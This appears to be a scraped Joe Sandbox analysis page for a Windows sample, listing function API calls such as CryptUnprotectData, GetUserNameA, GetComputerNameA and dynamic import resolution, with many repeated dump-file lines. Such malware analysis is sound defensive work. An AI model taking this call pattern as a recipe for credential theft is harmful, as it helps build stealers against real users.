wsprintfA.USER32 ref: 00AD7AB7

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: ef70ac6fab172b322dd65ae966dddea33454a79bdc36411173f18c7d534817c6
Instruction ID: 038ddd0ae8edf367bebf08950c15de30311b41d9db78a2c3ac22ebf21a4d757f
Opcode Fuzzy Hash: ef70ac6fab172b322dd65ae966dddea33454a79bdc36411173f18c7d534817c6
Instruction Fuzzy Hash: 4D117CB1A45318EBEB248B58DC49FA9B778FB04721F10469AE90AA3390D7741A40CB51

Function 00AC9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00AC9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00AC9BA3
LocalFree.KERNEL32(?), ref: 00AC9BD3

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 8758d782bde667858cc7c226d8925af648b1405fc82a6c660f6de50905ea425e
Instruction ID: 22f400f8b66e2864136fe97a9735cc6cd668235d12cae58eda2b53db3522c49b
Opcode Fuzzy Hash: 8758d782bde667858cc7c226d8925af648b1405fc82a6c660f6de50905ea425e
Instruction Fuzzy Hash: A411A5B8A00209EFDB04DF98D989EAE77B5FB88300F104598E915A7390D770AE10CFA1

Function 00AD78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AD7910
RtlAllocateHeap.NTDLL(00000000), ref: 00AD7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00AD792F

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 83d612b1f7a6a18061d1871713638cd54256fcc52bf94aedac701e8a3c029a1f
Instruction ID: 25e43e6defdf1209e3eaa3a3cc62d9f2a9080ff477df8e77aa6b00bb1cf76d1b
Opcode Fuzzy Hash: 83d612b1f7a6a18061d1871713638cd54256fcc52bf94aedac701e8a3c029a1f
Instruction Fuzzy Hash: F10186B1944308EBC744DF99DD45FAEBBB8F704B11F10421AF555E3380D37459008BA1

Function 00AD7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AC11B7), ref: 00AD7880
RtlAllocateHeap.NTDLL(00000000), ref: 00AD7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00AD789F

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 8c82911c369b3a5da07e4c6e07bb9c42ac21b040e934a16f820d6fda502e59d4
Instruction ID: 8f9c31fb83d28a1e6940b8554b80d2fde49cbce3b702ae9c0e5ccba5d04ca9d2
Opcode Fuzzy Hash: 8c82911c369b3a5da07e4c6e07bb9c42ac21b040e934a16f820d6fda502e59d4
Instruction Fuzzy Hash: CFF04FB1944308ABC704DF98DD49BAEBBB8FB04711F10465AFA05E2780C77419048BA1

Function 00AC1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00AC116A
ExitProcess.KERNEL32 ref: 00AC117E

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: d994688fa5bf7546dbac0906bac390af64bfaee0fba54678c76c66b4f9c5ce6d
Instruction ID: 5c8840d2d2475274d540327deb613656bc3ca782a7d31c522a97a56de47d9fcc
Opcode Fuzzy Hash: d994688fa5bf7546dbac0906bac390af64bfaee0fba54678c76c66b4f9c5ce6d
Instruction Fuzzy Hash: 5AD05E7490030CDBCB00DFE5D849BDDBBB8FB48311F000658D909A2340EA305481CAB6

Function 00AD9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,017763E0), ref: 00AD9C2D
GetProcAddress.KERNEL32(75550000,01776400), ref: 00AD9C45
GetProcAddress.KERNEL32(75550000,01788F70), ref: 00AD9C5E
GetProcAddress.KERNEL32(75550000,01788F28), ref: 00AD9C76
GetProcAddress.KERNEL32(75550000,0178C9C0), ref: 00AD9C8E
GetProcAddress.KERNEL32(75550000,0178C840), ref: 00AD9CA7
GetProcAddress.KERNEL32(75550000,0177B360), ref: 00AD9CBF
GetProcAddress.KERNEL32(75550000,0178C900), ref: 00AD9CD7
GetProcAddress.KERNEL32(75550000,0178CA38), ref: 00AD9CF0
GetProcAddress.KERNEL32(75550000,0178C8E8), ref: 00AD9D08
GetProcAddress.KERNEL32(75550000,0178CA80), ref: 00AD9D20
GetProcAddress.KERNEL32(75550000,017765A0), ref: 00AD9D39
GetProcAddress.KERNEL32(75550000,01776580), ref: 00AD9D51
GetProcAddress.KERNEL32(75550000,01776320), ref: 00AD9D69
GetProcAddress.KERNEL32(75550000,01776420), ref: 00AD9D82
GetProcAddress.KERNEL32(75550000,0178C8D0), ref: 00AD9D9A
GetProcAddress.KERNEL32(75550000,0178C990), ref: 00AD9DB2
GetProcAddress.KERNEL32(75550000,0177B1D0), ref: 00AD9DCB
GetProcAddress.KERNEL32(75550000,01776620), ref: 00AD9DE3
GetProcAddress.KERNEL32(75550000,0178C888), ref: 00AD9DFB
GetProcAddress.KERNEL32(75550000,0178C918), ref: 00AD9E14
GetProcAddress.KERNEL32(75550000,0178CAE0), ref: 00AD9E2C
GetProcAddress.KERNEL32(75550000,0178CAB0), ref: 00AD9E44
GetProcAddress.KERNEL32(75550000,017762E0), ref: 00AD9E5D
GetProcAddress.KERNEL32(75550000,0178CA98), ref: 00AD9E75
GetProcAddress.KERNEL32(75550000,0178CAC8), ref: 00AD9E8D
GetProcAddress.KERNEL32(75550000,0178CA68), ref: 00AD9EA6
GetProcAddress.KERNEL32(75550000,0178CAF8), ref: 00AD9EBE
GetProcAddress.KERNEL32(75550000,0178C810), ref: 00AD9ED6
GetProcAddress.KERNEL32(75550000,0178C828), ref: 00AD9EEF
GetProcAddress.KERNEL32(75550000,0178C9D8), ref: 00AD9F07
GetProcAddress.KERNEL32(75550000,0178C9A8), ref: 00AD9F1F
GetProcAddress.KERNEL32(75550000,0178CA50), ref: 00AD9F38
GetProcAddress.KERNEL32(75550000,01789AB8), ref: 00AD9F50
GetProcAddress.KERNEL32(75550000,0178C930), ref: 00AD9F68
GetProcAddress.KERNEL32(75550000,0178C870), ref: 00AD9F81
GetProcAddress.KERNEL32(75550000,01776460), ref: 00AD9F99
GetProcAddress.KERNEL32(75550000,0178C948), ref: 00AD9FB1
GetProcAddress.KERNEL32(75550000,01776380), ref: 00AD9FCA
GetProcAddress.KERNEL32(75550000,0178C8A0), ref: 00AD9FE2
GetProcAddress.KERNEL32(75550000,0178C8B8), ref: 00AD9FFA
GetProcAddress.KERNEL32(75550000,01776300), ref: 00ADA013
GetProcAddress.KERNEL32(75550000,01776340), ref: 00ADA02B
LoadLibraryA.KERNEL32(0178C858,?,00AD5CA3,00AE0AEB,?,?,?,?,?,?,?,?,?,?,00AE0AEA,00AE0AE3), ref: 00ADA03D
LoadLibraryA.KERNEL32(0178C978,?,00AD5CA3,00AE0AEB,?,?,?,?,?,?,?,?,?,?,00AE0AEA,00AE0AE3), ref: 00ADA04E
LoadLibraryA.KERNEL32(0178C9F0,?,00AD5CA3,00AE0AEB,?,?,?,?,?,?,?,?,?,?,00AE0AEA,00AE0AE3), ref: 00ADA060
LoadLibraryA.KERNEL32(0178CA08,?,00AD5CA3,00AE0AEB,?,?,?,?,?,?,?,?,?,?,00AE0AEA,00AE0AE3), ref: 00ADA072
LoadLibraryA.KERNEL32(0178C960,?,00AD5CA3,00AE0AEB,?,?,?,?,?,?,?,?,?,?,00AE0AEA,00AE0AE3), ref: 00ADA083
LoadLibraryA.KERNEL32(0178CA20,?,00AD5CA3,00AE0AEB,?,?,?,?,?,?,?,?,?,?,00AE0AEA,00AE0AE3), ref: 00ADA095
LoadLibraryA.KERNEL32(0178CB28,?,00AD5CA3,00AE0AEB,?,?,?,?,?,?,?,?,?,?,00AE0AEA,00AE0AE3), ref: 00ADA0A7
LoadLibraryA.KERNEL32(0178CB40,?,00AD5CA3,00AE0AEB,?,?,?,?,?,?,?,?,?,?,00AE0AEA,00AE0AE3), ref: 00ADA0B8
GetProcAddress.KERNEL32(75750000,01776880), ref: 00ADA0DA
GetProcAddress.KERNEL32(75750000,0178CCA8), ref: 00ADA0F2
GetProcAddress.KERNEL32(75750000,01788A60), ref: 00ADA10A
GetProcAddress.KERNEL32(75750000,0178CB88), ref: 00ADA123
GetProcAddress.KERNEL32(75750000,01776720), ref: 00ADA13B
GetProcAddress.KERNEL32(70410000,0177AF00), ref: 00ADA160
GetProcAddress.KERNEL32(70410000,01776820), ref: 00ADA179
GetProcAddress.KERNEL32(70410000,0177B090), ref: 00ADA191
GetProcAddress.KERNEL32(70410000,0178CD38), ref: 00ADA1A9
GetProcAddress.KERNEL32(70410000,0178CCF0), ref: 00ADA1C2
GetProcAddress.KERNEL32(70410000,017767C0), ref: 00ADA1DA
GetProcAddress.KERNEL32(70410000,01776940), ref: 00ADA1F2
GetProcAddress.KERNEL32(70410000,0178CBA0), ref: 00ADA20B
GetProcAddress.KERNEL32(757E0000,017768E0), ref: 00ADA22C
GetProcAddress.KERNEL32(757E0000,01776900), ref: 00ADA244
GetProcAddress.KERNEL32(757E0000,0178CD68), ref: 00ADA25D
GetProcAddress.KERNEL32(757E0000,0178CB10), ref: 00ADA275
GetProcAddress.KERNEL32(757E0000,017767A0), ref: 00ADA28D
GetProcAddress.KERNEL32(758D0000,0177AFF0), ref: 00ADA2B3
GetProcAddress.KERNEL32(758D0000,0177B0E0), ref: 00ADA2CB
GetProcAddress.KERNEL32(758D0000,0178CDF8), ref: 00ADA2E3
GetProcAddress.KERNEL32(758D0000,01776840), ref: 00ADA2FC
GetProcAddress.KERNEL32(758D0000,01776A00), ref: 00ADA314
GetProcAddress.KERNEL32(758D0000,0177AF28), ref: 00ADA32C
GetProcAddress.KERNEL32(76BE0000,0178CC90), ref: 00ADA352
GetProcAddress.KERNEL32(76BE0000,01776800), ref: 00ADA36A
GetProcAddress.KERNEL32(76BE0000,01788BB0), ref: 00ADA382
GetProcAddress.KERNEL32(76BE0000,0178CBB8), ref: 00ADA39B
GetProcAddress.KERNEL32(76BE0000,0178CD98), ref: 00ADA3B3
GetProcAddress.KERNEL32(76BE0000,017768A0), ref: 00ADA3CB
GetProcAddress.KERNEL32(76BE0000,017769A0), ref: 00ADA3E4
GetProcAddress.KERNEL32(76BE0000,0178CCC0), ref: 00ADA3FC
GetProcAddress.KERNEL32(76BE0000,0178CBD0), ref: 00ADA414
GetProcAddress.KERNEL32(75670000,01776980), ref: 00ADA436
GetProcAddress.KERNEL32(75670000,0178CC60), ref: 00ADA44E
GetProcAddress.KERNEL32(75670000,0178CC30), ref: 00ADA466
GetProcAddress.KERNEL32(75670000,0178CD80), ref: 00ADA47F
GetProcAddress.KERNEL32(75670000,0178CC48), ref: 00ADA497
GetProcAddress.KERNEL32(759D0000,01776680), ref: 00ADA4B8
GetProcAddress.KERNEL32(759D0000,017767E0), ref: 00ADA4D1
GetProcAddress.KERNEL32(76D80000,01776960), ref: 00ADA4F2
GetProcAddress.KERNEL32(76D80000,0178CB58), ref: 00ADA50A
GetProcAddress.KERNEL32(6F5C0000,017769C0), ref: 00ADA530
GetProcAddress.KERNEL32(6F5C0000,01776920), ref: 00ADA548
GetProcAddress.KERNEL32(6F5C0000,017766A0), ref: 00ADA560
GetProcAddress.KERNEL32(6F5C0000,0178CD20), ref: 00ADA579
GetProcAddress.KERNEL32(6F5C0000,01776860), ref: 00ADA591
GetProcAddress.KERNEL32(6F5C0000,017769E0), ref: 00ADA5A9
GetProcAddress.KERNEL32(6F5C0000,017768C0), ref: 00ADA5C2
GetProcAddress.KERNEL32(6F5C0000,01776A20), ref: 00ADA5DA
GetProcAddress.KERNEL32(6F5C0000,InternetSetOptionA), ref: 00ADA5F1
GetProcAddress.KERNEL32(6F5C0000,HttpQueryInfoA), ref: 00ADA607
GetProcAddress.KERNEL32(75480000,0178CDB0), ref: 00ADA629
GetProcAddress.KERNEL32(75480000,01788A10), ref: 00ADA641
GetProcAddress.KERNEL32(75480000,0178CD50), ref: 00ADA659
GetProcAddress.KERNEL32(75480000,0178CBE8), ref: 00ADA672
GetProcAddress.KERNEL32(753B0000,01776780), ref: 00ADA693
GetProcAddress.KERNEL32(6E890000,0178CB70), ref: 00ADA6B4
GetProcAddress.KERNEL32(6E890000,017766E0), ref: 00ADA6CD
GetProcAddress.KERNEL32(6E890000,0178CC78), ref: 00ADA6E5
GetProcAddress.KERNEL32(6E890000,0178CDC8), ref: 00ADA6FD

Strings

InternetSetOptionA, xrefs: 00ADA5E5
HttpQueryInfoA, xrefs: 00ADA5FC

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
